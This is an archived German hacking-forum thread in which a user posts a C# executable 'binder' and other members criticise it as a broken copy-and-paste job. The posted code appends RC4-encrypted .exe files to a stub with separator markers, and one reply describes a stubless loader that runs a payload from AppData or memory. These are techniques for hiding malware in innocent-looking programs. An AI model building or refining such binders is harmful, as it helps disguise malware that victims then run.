PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : DyDy Binder v1



DyDy
10.09.2010, 05:49
Hallo liebe Free hack Community :) Ich wage mich heute mein erstes Programm auf FH zu stellen :D Da es wie ge sagt mein Erstes ist bitte ich darum nicht so viel zu meckern sondern vill einfach zu sagen was man besser machen kann was gut ist und was schlecht ist etc.. :D

Infos :

Was Bindet er
.exe

Binder hat keine Stub ! Why keine Stub ? [ 1 . weil einer so oder so die datei auf VT hoch laden würde ... 2 weil ein binder Binden soll und nicht Crypten ^^ ]

Sonst gibt es eig nicht mehr viel zu sagen :D

Edit: Binder waz not working and so it waz removed :<
http://icanhascheezburger.files.wordpress.com/2010/07/funny-pictures-cat-will-not-have-idea.jpg

Bonkers
10.09.2010, 08:10
************** Ausnahmetext **************
System.NullReferenceException: Der Objektverweis wurde nicht auf eine Objektinstanz festgelegt.
bei Binder.frmMain.SchreibeStub(String Pfad)


Hab versucht den Binder ganz normal zu benutzen...
Übrigens passt der Call nicht so ganz zu deiner Aussage:


Binder hat keine Stub

:)

ghosty
10.09.2010, 08:35
Damit war (wohl) keine externe Stub gemeint.
Wie soll das bitte ohne Stub funktionieren?

Orfaker_PwN
10.09.2010, 10:06
IN was wurde der gecodet ????

trixx3r
10.09.2010, 10:14
gecodet hat er das in Microsoft Visual Basic .NET

Mofo
10.09.2010, 14:10
Wie soll das bitte ohne Stub funktionieren?

Klar könnte das ohne Stub funktionieren, man nimmt das erste file und schreibt es samt dem code für den loader an/in das zweite verschiebt den ep dahin, lässt beim starten aus sich selbst die daten auslesen, und startet es in dem man es ins Appdata schreibt und ausführt, oder direkt über die mem..

So könnte es funktionieren, ob er das so gemacht hat weiß ich nicht, würde mich aber interessieren..

CYSER
10.09.2010, 14:11
Oder mit codedoM? :E

hackerking
10.09.2010, 14:27
Mit CodeDom kompiliert man zur Laufzeit Code.
Das würde wieder eine Stub erzeugen. Außer du meinst das jetzt irgendwie anders..

ocz
10.09.2010, 14:38
Das würde wieder eine Stub erzeugen. Außer du meinst das jetzt irgendwie anders..
Die .NET jugend nimmt es halt mit den Begrifflichkeiten nicht mehr so genau:


.NET scripting heißt jetzt coden
copy&paste heißt jetzt next-generation konzept
und KEIN standard RunPE zu nutzen heißt jetzt halt "ohne stub"

Das kommt wohl schlicht und einfach daher, dass RunPe jetzt mittlerweile sogar mal in der .NET-Fassung erkannt wird. Da natürlich auf dem Computer des armen Nutzers mit dem Framework geschätzte 200GB Trash installiert wurden, kann dann eine (mehr oder weniger) dynamische Stub zur laufzeit kompiliert werden, die dann in die .exe geschrieben wird, das ist dann die next-generation variante von "PEBind" (wenn ich das richtig verstanden habe).

DyDy
10.09.2010, 15:10
Also Es geht ohne Stub !
Nein keine Externe Stub !
Ja es wurde in .Net gemacht !
es ist halt in c# gemacht da ich in dem bereich einigermaßen zurecht komme .


Ich habe es ganz einfach gemacht !
am anfagn wahr die funktion Stub drinen !

Ich habe die Stub aus den Resorc... entfernt
und die code so weit wie möglich mit der kleine funtion " // " ausgeschlossen :D dan halt noch die Stub .exe und alles was mit der stub zu tuhen hatte noch entfernt :D und ja was bleibt ? nur noch die funtion BInd .

Fals euch ja das prog gefält kann ich ja einbaun das man per knopf die stub ein oder aus schalten kann ^^ und das es nicht nur .exe bindent .

Mofo
10.09.2010, 15:16
Also Es geht ohne Stub !
am anfagn wahr die funktion Stub drinen !

Ich habe die Stub aus den Resorc... entfernt
und die code so weit wie möglich mit der kleine funtion " // " ausgeschlossen :D dan halt noch die Stub .exe und alles was mit der stub zu tuhen hatte noch entfernt :D und ja was bleibt ? nur noch die funtion BInd .


Diesen Teil bitte nochmal auf Deutsch o0

poddels
10.09.2010, 15:18
Diese kleine "Funktion" nennt man auskommentieren. Lässt sich übrigens schöner mit /* und */ bewerkstelligen.


Ich habe es ganz einfach gemacht !
am anfagn wahr die funktion Stub drinen !

Ich habe die Stub aus den Resorc... entfernt
und die code so weit wie möglich mit der kleine funtion " // " ausgeschlossen :D dan halt noch die Stub .exe und alles was mit der stub zu tuhen hatte noch entfernt :D und ja was bleibt ? nur noch die funtion BInd .
Daraus schließe ich das der Binder ein reiner C&P ist?

DyDy
10.09.2010, 15:21
N1GH7FIR3

Wie gesagt is ein ganz einfacher binder der nur bindet nicht weniger nicht mehr .. =)


Malllll ne ganz große frage von mir :D

why findet ihr das so unmöglich bzw komisch das da keine Stub dabei ist ?:P

blackberry
10.09.2010, 15:23
Also das Programm hat vorher mit einer Stub gearbeitet und du hast die Stub raus und den Code für das Einbinden der Stub auskommentiert, ja?
Und der Binder funktioniert jetzt genau wie, wenn keine Stub mehr drin ist?
Was du da erzählst macht einfach keinen Sinn.

Mofo
10.09.2010, 15:23
Nun dann erkläre mal wie er denn ganz einfach bindet
was du schreibst macht alles wenig Sinn

DyDy
10.09.2010, 15:33
Naja also das mach ich zwan net so gerne aber da es iwi nich alle glauben .. :P
da sin die code von einem beiner mit stub und die Funktion Stub usw werde einfach nicht genommen ^^

Code -.-

{public partial class frmMain : Form{
private Byte[] EncryptionKey = { 4, 8, 15, 16, 23, 42 };
private const string SplittString = "<@_@>";
private const bool VerschlüssleDaten = true;
[DllImport("uxtheme.dll", CharSet = CharSet.Unicode, ExactSpelling = true)]
private static extern int SetWindowTheme(IntPtr hWnd, string appName, string partList);
public frmMain(){
InitializeComponent();
SetWindowTheme(this.BinderListe.Handle, "explorer", null);}
private void buttonClose_Click(object sender, EventArgs e){
Application.Exit();}
private void buttonAbout_Click(object sender, EventArgs e){
MessageBox.Show("Binder - Coded by DyDy", "DyDy Binder", MessageBoxButtons.OK, MessageBoxIcon.Information);}
private void MenuHinzufügen_Click(object sender, EventArgs e){
OpenFileDialog dlg = new OpenFileDialog(); {
dlg.CheckFileExists = true;
dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolde r.Desktop);
dlg.Filter = "Ausführbare Dateien (*.exe) | *.exe";}
if (!(dlg.ShowDialog() == DialogResult.Cancel)){
ListViewItem item = new ListViewItem(); {
item.ImageIndex = BinderListe.Items.Count;
item.Text = dlg.SafeFileName;
item.SubItems.Add(dlg.FileName);}
BinderListe.Items.Add(item);
LeseExternesIcon(BinderListe);}}
private void MenuEntfernen_Click(object sender, EventArgs e){
foreach (ListViewItem item in BinderListe.SelectedItems) {
BinderListe.Items.Remove(item);}}
private void LeseExternesIcon(ListView lv) {
imageList.Images.Clear();
for (int i = 0; i < lv.Items.Count; i++) {
imageList.Images.Add(Icon.ExtractAssociatedIcon(lv .Items[i].SubItems[1].Text));
BinderListe.Items[i].ImageIndex = i;}}
private void buttonCompile_Click(object sender, EventArgs e){
if (!(BinderListe.Items.Count <= 0)){
SaveFileDialog dlg = new SaveFileDialog();{
dlg.CheckPathExists = true;
dlg.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolde r.Desktop);
dlg.Filter = "Ausführbare Dateien (*.exe) | *.exe";}
if (!(dlg.ShowDialog() == DialogResult.Cancel)){
SchreibeStub(dlg.FileName);
SchreibeTrennzeichen("<StartEof>", dlg.FileName);
for (int i = 0; i < BinderListe.Items.Count; i++){
SchreibeDateien(dlg.FileName, LeseDatei(BinderListe.Items[i].SubItems[1].Text));
SchreibeTrennzeichen(SplittString, dlg.FileName);}MessageBox.Show("Datei wurde Erfolgreich Erstellt.", "DyDy Binder", MessageBoxButtons.OK, MessageBoxIcon.Information);}}}
private void SchreibeStub(string Pfad){
FileStream fs = new FileStream(Pfad, FileMode.Create);
fs.Write(Properties.Resources.Stub, 0, Properties.Resources.Stub.Length);
fs.Close();}
private void SchreibeTrennzeichen(string ZeichenFolge, string Pfad){
FileStream fs = File.Open(Pfad, FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite);
BinaryWriter bw = new BinaryWriter(fs);
fs.Position = fs.Length + 1;
bw.Write(ZeichenFolge);
bw.Flush();
bw.Close();}
private void SchreibeDateien(string Pfad, byte[] Daten){ if (VerschlüssleDaten == true){RC4(ref Daten, EncryptionKey);}
FileStream fs = File.Open(Pfad, FileMode.Append, FileAccess.Write, FileShare.None);{fs.Write(Daten, 0, Daten.Length);fs.Flush();fs.Close();}}
private byte[] LeseDatei(string DateiPfad){
StreamReader sr = new StreamReader(DateiPfad);
BinaryReader br = new BinaryReader(sr.BaseStream);
byte[] Buffer = br.ReadBytes((int)sr.BaseStream.Length);
br.Close();
sr.Close();
return Buffer;}
public void RC4(ref Byte[] bytes, Byte[] key){
Byte[] s = new Byte[256];
Byte[] k = new Byte[256];
Byte temp;
int i, j;
for (i = 0; i < 256; i++){
s[i] = (Byte)i;
k[i] = key[i % key.GetLength(0)];}
j = 0;
for (i = 0; i < 256; i++){
j = (j + s[i] + k[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;}
i = j = 0;
for (int x = 0; x < bytes.GetLength(0); x++){
i = (i + 1) % 256;
j = (j + s[i]) % 256;
temp = s[i];
s[i] = s[j];
s[j] = temp;
int t = (s[i] + s[j]) % 256;
bytes[x] ^= s[t];}}
private void frmMain_Load(object sender, EventArgs e)
{
}
private void BinderListe_SelectedIndexChanged(object sender, EventArgs e)
{
}
}
}

hackerking
10.09.2010, 15:39
fs.Write(Properties.Resources.Stub, 0, Properties.Resources.Stub.Length); ahja..
http://www.motifake.com/image/demotivational-poster/0808/jesus-facepalm-facepalm-jesus-epic-demotivational-poster-1218659828.jpg

Vote4Close..

l0dsb
10.09.2010, 15:41
Nvm, face palm sagt alles.

DyDy
10.09.2010, 15:41
why Vote4Close.. ?

sn0w
10.09.2010, 15:53
Vote4Close..

Right C&P Schmarrn und dann nichtmal verstehen um was es geht.
ToDo Liste für DyDy:
- Programmiersprache lernen
- Kein C&P
- Erst wieder tools anbieten, wenn von dir selbst verfasst und du verstehst, was sie machen
- Bis dahin: Ganz viel lesen (vielleicht auch den Duden, weil deine Rechtschreibung ist schlimmer als nen Saw Massaker mit Duden)

#CLOSED#

blackberry
10.09.2010, 15:54
Sag mal. Hast du das Programm jemals getestet, seit dem du die Stub entfernt hast?
Mal davon abgesehen: dieses Programm könntest du mit der Technik sowieso nicht binden:

.386
.MODEL flat, stdcall

OPTION casemap :none
INCLUDE C:\masm32\include\windows.inc
INCLUDE C:\masm32\include\user32.inc

INCLUDELIB C:\masm32\lib\user32.lib

.CODE
_message DB 'OHAI! I can be bound? I dun think so :(', 0
_caption DB 'OHAI <@_@>', 0
START:
INVOKE MessageBox, 0, ADDR _message, ADDR _caption, MB_OK OR MB_ICONINFORMATION
XOR eax, eax
RETN
END START